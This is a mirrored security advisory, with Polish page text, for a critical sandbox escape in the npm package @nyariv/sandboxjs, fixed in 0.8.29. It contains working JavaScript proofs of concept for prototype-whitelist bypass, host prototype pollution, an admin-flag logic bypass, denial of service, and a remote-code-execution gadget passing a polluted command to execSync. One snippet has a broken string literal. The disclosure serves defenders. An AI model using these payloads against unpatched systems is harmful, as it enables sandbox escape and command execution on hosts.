Krytyczna

@nyariv/sandboxjs has Sandbox Escape via Prototype Whitelist Bypass and Host Prototype Pollution

  • Ujawniono: 05.02.2026
  • Aktualizacja: 11.10.2026 10:22

Summary

A sandbox escape is possible by shadowing hasOwnProperty on a sandbox object, which disables prototype whitelist enforcement in the property-access path. This permits direct access to __proto__ and other blocked prototype properties, enabling host Object.prototype pollution and persistent cross-sandbox impact.

The issue was reproducible on Node v23.9.0 using the project’s current build output. The bypass works with default Sandbox configuration and does not require custom globals or whitelists.

Root Cause

prototypeAccess uses a.hasOwnProperty(b) directly, which can be attacker‑controlled if the sandboxed object shadows hasOwnProperty. When this returns true, the whitelist checks are skipped.

  • src/executor.ts:348 const prototypeAccess = isFunction || !(a.hasOwnProperty(b) || typeof b === 'number');
<img width="1030" height="593" alt="image" src="https://github.com/user-attachments/assets/0fa0807e-81cc-45b5-be13-bd839c974a4f" /> <img width="929" height="345" alt="image" src="https://github.com/user-attachments/assets/27cff24d-b892-4d56-9f59-1e5fd32ef471" /> <img width="769" height="332" alt="image" src="https://github.com/user-attachments/assets/52fbb962-6ff0-4607-90a8-79fc3a50c897" />

Proofs of Concept

node node_modules/typescript/bin/tsc --project tsconfig.json --outDir build --declaration node node_modules/rollup/dist/bin/rollup -c Runtime target: dist/node/Sandbox.js

Baseline: __proto__ blocked without bypass

js
const Sandbox = require('./dist/node/Sandbox.js').default;
const sandbox = new Sandbox();
try {
  const res = sandbox.compile(`return ({}).__proto__`)().run();
  console.log('res', res);
} catch (e) {
  console.log('error', e && e.message);
}
<img width="734" height="65" alt="image" src="https://github.com/user-attachments/assets/bdbbbe8b-5667-46e4-b4b5-ff4693764ef9" />

Prototype whitelist bypass -> host Object.prototype pollution

js
const Sandbox = require('./dist/node/Sandbox.js').default;
const sandbox = new Sandbox();
const code = `
  const o = { hasOwnProperty: () => true };
  const proto = o.__proto__;
  proto.polluted = 'pwned';
  return 'done';
`;

sandbox.compile(code)().run();

console.log('polluted' in ({}), ({}).polluted);
<img width="549" height="95" alt="image" src="https://github.com/user-attachments/assets/83471777-ee8e-4140-b702-9a575335fd30" />

Logic bypass via prototype pollution

js
const Sandbox = require('./dist/node/Sandbox.js').default;
const sandbox = new Sandbox();

sandbox.compile(`
  const o = { hasOwnProperty: () => true };
  const proto = o.__proto__;
  proto.isAdmin = true;
  return 'ok';
`)().run();

console.log('isAdmin', ({}).isAdmin === true);
<img width="527" height="83" alt="image" src="https://github.com/user-attachments/assets/772bb111-d3e6-4f81-8142-80228e579b57" />

DoS by overriding Object.prototype.toString

js
const Sandbox = require('./dist/node/Sandbox.js').default;
const sandbox = new Sandbox();

sandbox.compile(`
  const o = { hasOwnProperty: () => true };
  const proto = o.__proto__;
  proto.toString = function () { throw new Error('aaaaaaa'); };
  return 'ok';
`)().run();

try {
  String({});
} catch (e) {
  console.log('error', e.message);
}
<img width="500" height="147" alt="image" src="https://github.com/user-attachments/assets/eb5bff1b-ebe7-470a-abe6-d836de85ad41" />

RCE via host gadget (prototype pollution -> execSync)

<img width="737" height="143" alt="image" src="https://github.com/user-attachments/assets/952ba404-573f-4cb7-9b70-f3294ea19b40" />
js
const Sandbox = require('./dist/node/Sandbox.js').default;
const { execSync } = require('child_process');

const sandbox = new Sandbox();

sandbox.compile(`
  const o = { hasOwnProperty: () => true };
  const proto = o.__proto__;
  proto.cmd = 'id;
  return 'ok';
`)().run();

const obj = {}; // typical innocent object
const out = execSync(obj.cmd, { encoding: 'utf8' }).trim();
console.log(out);

Additional Finding : Prototype mutation via intermediate reference

This does not require the hasOwnProperty bypass. Some prototypes can be reached via allowed static access ([].constructor.prototype) and then mutated via a local variable, which bypasses isGlobal checks.

Mutate Array.prototype.filter without bypass

js
const Sandbox = require('./dist/node/Sandbox.js').default;
const sandbox = new Sandbox();

sandbox.compile(`const p = [].constructor.prototype; p.filter = 1; return 'ok';`)().run();

console.log('host filter', [1,2].filter);

Output:

host filter 1

Czego dotyczy

Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.

PlatformaPaczkaPodatne wersjePoprawka w wersji
Paczka npm @nyariv/sandboxjs < 0.8.29 0.8.29

Odnośniki

Ocena CVSS 10/10
Wektor CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Słabość (CWE)
CWE-74
Platforma
npm
Paczka
@nyariv/sandboxjs
Ujawniono
05.02.2026
Aktualizacja
11.10.2026 10:22

Źródła i licencje

OSV / GitHub Advisory Database - GHSA-jjpw-65fv-8g48 - CC BY 4.0

Historia podatności: @nyariv/sandboxjs

Wszystkie opisane podatności tej paczki (Paczka npm), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.

Wszystkie (14) w archiwum
Wszystkich wpisów
14
Pierwsza → ostatnia
07.2025 05.2026
Bez poprawki
0
Wykorzystywana w atakach
0

Rozkład istotności

  • Krytyczna 10
  • Wysoka 1
  • Średnia 3

Ujawnienia w latach

  1. 2025: 1
  2. 2026: 13
Istotność:
  1. Krytyczna · 10.0 CVE-2026-34208 < 0.8.36 0.8.36
  2. Krytyczna · 10.0 CVE-2026-26954 < 0.8.34 0.8.34
  3. Krytyczna · 10.0 CVE-2026-25587 < 0.8.29 0.8.29
  4. @nyariv/sandboxjs has Sandbox Escape via Prototype Whitelist Bypass and Host Prototype Pollution ten wpis
    Krytyczna · 10.0 CVE-2026-25586 < 0.8.29 0.8.29
  5. Krytyczna · 10.0 CVE-2026-25520 < 0.8.29 0.8.29
  6. Krytyczna · 10.0 CVE-2026-25142 < 0.8.27 0.8.27
  7. Krytyczna · 10.0 CVE-2026-23830 < 0.8.26 0.8.26

Dowiedz się, które podatności dotyczą Twojej aplikacji

Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.

Podłącz swoją aplikację
Newsletter DockRay

Bezpieczeństwo aplikacji w Twojej skrzynce

Najważniejsze podatności, konkretne zalecenia i praktyczne wskazówki dla Twoich aplikacji. Wybierz technologie i śledź to, co ma znaczenie dla Twojego projektu.

  • Codzienne zestawienie nowych podatności, także krytycznych.
  • Powiadomienia o ważnych aktualizacjach.
  • Praktyczne porady o bezpieczeństwie i monitoringu aplikacji.

Pozostaw puste, aby otrzymywać informacje o wszystkich technologiach.

Zapis jest bezpłatny. Wypiszesz się jednym kliknięciem w wiadomości.